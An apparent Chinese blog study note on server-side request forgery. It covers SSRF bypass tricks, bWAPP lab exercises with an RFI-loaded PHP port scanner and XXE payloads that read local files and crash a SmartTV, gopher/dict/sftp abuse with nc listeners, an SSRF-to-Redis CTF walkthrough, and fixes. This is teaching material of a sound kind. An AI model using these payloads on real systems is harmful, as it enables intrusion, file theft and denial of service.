我的再造学习篇Day2-SSRF剖析

一、SSRF漏洞介绍

1.1 SSRF简介
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统

1.2 漏洞出现点

  • 通过url 地址分享文章,例如如下地址:

http://share.xxx.com/index.php?url=http://127.0.0.1

  • 通过URL地址加载或下载图片

http://image.xxx.com/image.php?image=http://127.0.0.1

  • 图片、文章收藏功能

http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de

  • 利用参数中的关键字来查找
    例如以下的关键字:

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain

总结:通过url参数的获取来实现特点功能,如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。

**注意:**判断漏洞是否存在的重要前提是,请求的服务器发起的,以上链接即使存在并不一定代表这个请求是服务器发起的。因此前提不满足的情况下,SSRF是不必要考虑的。例如:

http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg

链接获取后,是由js来获取对应参数交由window.location来处理相关的请求,或者加载到当前的iframe框架中,此时并不存在SSRF ,因为请求是本地发起,并不能产生攻击服务端内网的需求。

1.3 漏洞危害

  • 扫描内网开放服务
  • 向内部任意主机的任意端口发送payload来攻击内网服务
  • DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  • 攻击内网的web应用,例如直接SQL注入、XSS攻击等
  • 利用file、gopher、dict协议读取本地文件、执行命令等

1.4 漏洞分类
1、显示对攻击者的响应(basic):在服务器获取攻击者要求的URL后,把响应发送回攻击者。
2、不显示响应(blind):在服务器获取攻击者要求的URL后,不会把响应内容发送给攻击者,需要通过抓包或查看服务器日志判断是否存在服务端请求伪造漏洞。

1.5 漏洞绕过

1、 限制为http://www.xxx.com 域名时
可以尝试采用http基本身份认证的方式绕过

   http://www.xxx.com@www.xxc.com

在对@解析域名中,不同的处理函数存在处理差异,例如:

http://www.aaa.com@www.bbb.com@www.ccc.com

在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

2、限制请求IP不为内网地址

采用短网址绕过,比如百度短地址https://dwz.cn/。
采用可以指向任意域名的xip.io,127.0.0.1.xip.io,可以解析为127.0.0.1
采用进制转换,127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433
在这里插入图片描述

3、限制请求只为http协议

采用302跳转百度短地址,或者生成302跳转地址。

301表示这个网页已经永久的由服务器的A路径下移动到路径B下,

302表示临时移动到B路径下,对应到Url地址也即http://baidu.com/file/A/1.html到http://baidu.com/file/B/1.html,当浏览器访问前面一个地址的时候,这个时候服务器会告知浏览器,请到B路径下获取这个文件,随后浏览器重新发起网络请求,请求B路径下的页面,经过渲染,呈现给用户,例如淘宝的例子,请求taobao.com,收到302,从而浏览器再次请求www.taobao.com获得页面内容。

其他绕过姿势:https://www.secpulse.com/archives/65832.html

二、漏洞利用

1. BWAPP中的SSRF

在这里插入图片描述
1.1 SSRF的3个小实验

bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)

任务1:使用远程文件包含进行端口扫描(内网探测)
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本

<?php
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{ 
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    $results = array();
    foreach($ports as $port)
    {
        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))//@fsockopen打开一个网络连接或者一个Unix套接字连接
        {
            $results[$port] = true;
            fclose($pf);            
        }        
        else
        {
            $results[$port] = false;        
        }
    } 
    foreach($results as $port=>$val)
    {
        $prot = getservbyport($port,"tcp");//getservbyport()是一个函数,返回对应于给定端口号和协议名的相关服务信息。
        echo "Port $port ($prot): ";
        if($val)
        {
            echo "<span style=\"color:green\">OK</span><br/>";
        }
        else
        {
            echo "<span style=\"color:red\">Inaccessible</span><br/>";
        }
    }
}
?>

仅需要包含脚本,并请求IP参数为对应的主机即可,接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本

在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level还是选择low,然后点击Hack
在这里插入图片描述进入Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
在这里插入图片描述使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。

http://**ip1**/bWAPP/rlfi.php?language=http://**ip2**/evil/ssrf-1.txt&action=go
POST DATA:**ip3**

这里ip2是扫描脚本的访问地址,ip3是要扫描的目标主机地址,且该地址是ip2主机无法访问到的,然后方便查看区分使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。
在这里插入图片描述在这里插入图片描述任务2:使用XXE获取敏感文件中的内容(文件读取)
先点击任务2中的Access得到XXE的利用脚本

 //Accesses a file on the internal network (1)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

//Accesses a file on the internal network (2)
Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

在这里插入图片描述然后访问XML External Entity Attacks (XXE)演练环境,使用burpSuite抓包,并发送到repeater中进行测试。
在这里插入图片描述
使用http协议获取/bWAPP/robots.txt的内容。
在这里插入图片描述使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据
在这里插入图片描述在这里插入图片描述使用file协议获取bWAPP本机的/etc/passwd的内容
在这里插入图片描述任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)

#Crashes my Samsung SmartTV (CVE-2013-4890) ;)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

这个任务需要有SmartTV的靶场才能进行学习,但是该任务仅是用来说明可以使用XXE中的SSRF进行站点或应用漏洞的利用。如,XXX主机上有注入漏洞那么可以发送如下payload可以使用SSRF进行SQL漏洞的利用,当然也可以进行Struts2等漏洞的利用。

<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://XXX/news.php?newsid=-1 union select 1,user()">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

2、各种协议的利用

SSRF中各个编程语言可以使用的协议如下图所示:
在这里插入图片描述此处使用的合天网安实验室的一个靶场
1、file协议的利用
在这里插入图片描述在这里插入图片描述2、gopher协议的运用
gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。

基本协议格式:URL:gopher://:/

利用脚本将数据转换成适配于gopher协议的URL,转换规则:
1)如果第一个字符是 > 或者 < ,则丢弃该行字符串,表示请求和返回的时间;
2)如果前三个字符是 +OK,则丢弃该行字符串,表示返回的字符串;
3)将\r字符替换成 %0d%0a;
4)将空白行替换成 %0a。

3、dict协议的运用
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
在这里插入图片描述在这里插入图片描述4、sftp及tftp协议

  1. sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息:
    Kali机器上输入:nc -lvp 1234

    -l:监听入站信息;
    -p:设置本地主机使用的通信端口;
    -v:显示指令执行过程。

    在‘有回显的SSRF’处输入:sftp://10.1.1.200:1234,点击‘TEST IT’后查看响应信息:
    在这里插入图片描述
    在这里插入图片描述2. tftp即简单文件传输协议,允许客户端从远程主机获取文件:
    Kali机器上输入:nc -lvup 6666
    -u:使用UDP传输协议。

    在‘有回显的SSRF’处输入:tftp://10.1.1.200:6666

    点击‘TEST IT’后查看响应信息:
    在这里插入图片描述

3、Rootme CTF all the day实战演示

地址:https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/
在这里插入图片描述
漏洞介绍:SSRF+redis 获取内网主机权限,利用SSRF来对redis的未授权访问执行命令。从而达到获取主机权限的目的

访问目标地址,如果没有账号,需要创建账号点击右上的绿色小加号来创建账号,创建完成后回到此页面。找到一个处于SSRF Box的虚拟机,点击房间名,如下的ctf06
在这里插入图片描述在这里插入图片描述在这里插入图片描述尝试在页面输入百度地址后,页面会把百度首页加载进此页面中。
在这里插入图片描述读取系统文件:
在这里插入图片描述使用burp的Intruder模块,来探测开放的服务端口,开放则显示OK,不开放则显示Connection refused。
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
探测可知内网开放了6379端口redis服务,尝试利用SSRF对redis执行未授权漏洞,我之前没接触过这个漏洞,详细内容可以查看文章:https://www.freebuf.com/vuls/162035.html

redis漏洞简介:

Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,这样将会将 Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

利用脚本将数据转换成适配于gopher协议的URL,转换规则:
1)如果第一个字符是 > 或者 < ,则丢弃该行字符串,表示请求和返回的时间;
2)如果前三个字符是 +OK,则丢弃该行字符串,表示返回的字符串;
3)将\r字符替换成 %0d%0a;
4)将空白行替换成 %0a。

这个实验利用Gopher协议攻击内网Redis能帮助理解相关操作http://www.hetianlab.com/queryExpStudy.do?ceid=ee9aef8b-0349-4185-94e3-524915a301be

三、漏洞修复

1 限制返回信息的,例如请求文件,只返回文件是否请求成功,没有请求成功到文件统一返回错误信息。
2 对请求地址设置白名单,只允许请求白名单内的地址。
3 禁用除http和https外的协议,如:file://,gopher://,dict://等
4 限制请求的端口为固定服务端口,如:80,443

参考:https://www.freebuf.com/column/227309.html
https://www.freebuf.com/column/157466.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值